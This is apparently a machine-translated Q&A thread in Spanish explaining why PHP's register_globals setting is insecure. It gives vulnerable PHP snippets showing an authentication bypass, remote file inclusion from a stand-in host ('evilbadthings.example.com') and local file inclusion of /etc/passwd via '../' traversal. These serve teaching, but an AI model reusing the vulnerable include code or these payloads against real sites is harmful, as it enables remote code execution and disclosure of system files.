No soy un desarrollador de PHP pero he visto en un par de lugares que las personas parecen tratarlo como la peste o algo así. ¿Por qué?¿Por qué es REGISTER_GLOBALS tan malo?
Respuesta
REGISTER_GLOBALS
significa que todas las variables pasadas a través de GET o POST están disponibles como variables globales en su secuencia de comandos. Dado que acceder a variables no declaradas no es un error en PHP (es una advertencia), puede llevar a situaciones muy desagradables. Considere esto, por ejemplo:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
No es algo malo per se (código bien diseñado no debe generar advertencias, por lo tanto, no debe tener acceso a las variables que podrían ser declarados (y no debe necesidadREGISTER_GLOBALS
para el mismo motivo)), pero el código PHP suele ser de muy baja calidad, lo que lleva a este tipo de agujeros de seguridad.
Porque le permite al usuario inyectar cualquier variable global en su código sin ningún control.
Según la calidad del código, puede presentar errores de seguridad importantes.
Habilitando REGISTER_GLOBALS expone las páginas web servidas por PHP a las vulnerabilidades que algunos tipos malos estarán dispuestos a explotar.
Con ella está activado, cualquier cadena de consulta al final de la URL:
http://yourdomain/something.php?valid=true
afectará el valor de una variable $ válida (por ejemplo) en something.php, si es que existe .
Si está utilizando un código PHP disponible públicamente (una biblioteca, por ejemplo), los nombres de las variables son bien conocidos, y los hackers podrían controlar sus valores asignando valores en la cadena de consulta. Es posible que puedan eludir la autenticación.
Incluso si no usa código público, es posible adivinar los nombres de las variables importantes y controlar sus valores.
lo que solía ser el valor por defecto de tener register_globals habilitado en php.ini
la práctica reciente ha sido la de desactivarlo por defecto. Habilítalo bajo tu propio riesgo!
Sólo para añadir, aquí hay algunas situaciones en las que tener REGISTER_GLOBALS
habilitados podría arruinar su día:
El uso de la cadena de consulta para eludir el control de acceso (truco que utilizan http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
remoto Inclusión de archivos (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Inclusión de archivos locales (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Su primer ejemplo no se ve comprometido ya que el valor de '$ logged' está definido por el valor de retorno de' User :: getLogged'. – Gumbo
- 1. ¿Por qué GLUT es tan malo?
- 2. Retain Cycles: ¿Por qué es eso tan malo?
- 3. ¿Qué tan malo es este goto?
- 4. ¿Por qué es malo?
- 5. ¿Por qué es "import *" malo?
- 6. ¿Por qué es JFormattedTextField malo?
- 7. ¿Qué tan malo es no desechar() en Powershell?
- 8. ¿Qué tan malo es poner javascript fuera del encabezado?
- 9. Qué tan malo es 3 como exponente público de RSA
- 10. ¿Qué tan malo es jQuery * inside * código de MooTools?
- 11. ¿Por qué el bloqueo (esto) {...} es malo?
- 12. ¿Qué es "matemática de cuerdas" y por qué es malo?
- 13. ¿Qué tan malo es $ _REQUEST y cuáles son algunas contramedidas aceptables de Band-Aid?
- 14. ¿Por qué incluir un archivo de encabezado es algo tan malo?
- 15. ¿Por qué usar tablas para el diseño de sitios web es tan malo?
- 16. ¿Por qué es tan simple este algoritmo haskell tan lento?
- 17. ¿Por qué Thread.stop() es tan peligroso
- 18. ¿Por qué DateTime.Parse es tan lento?
- 19. ¿Por qué Telerik JustCode es tan confuso?
- 20. ¿por qué ruby scanf es tan lento?
- 21. ¿Por qué es EXC_BAD_ACCESS tan inútil?
- 22. ¿Por qué Getline es tan inconsistente?
- 23. ¿Por qué es GHC tan grande/grande?
- 24. ¿Por qué Haskell es tan grande?
- 25. ¿Por qué TestComplete es tan lento?
- 26. ¿Por qué numpy.array es tan lento?
- 27. ¿Por qué mi código es tan lento?
- 28. ¿Por qué putImageData es tan lento?
- 29. ¿Por qué LuaJIT es tan bueno?
- 30. ¿Por qué es tan rápido Chrome?
"código PHP es por lo general [muy] baja calidad" - habla por sí mismo – OIS
Por lo general = siempre!. Pero le recomendaría que explore la fuente de algunos CMS de código abierto. Encontrará más 'eval()', 'erege_replace()' y 'REGISTER_GLOBALS' de lo que cabría esperar.Nota: soy un desarrollador de PHP yo mismo. – soulmerge
Intentar leer variables indefinidas es desagradable. No tendrías ese problema con '$ debug = false;'. – Gumbo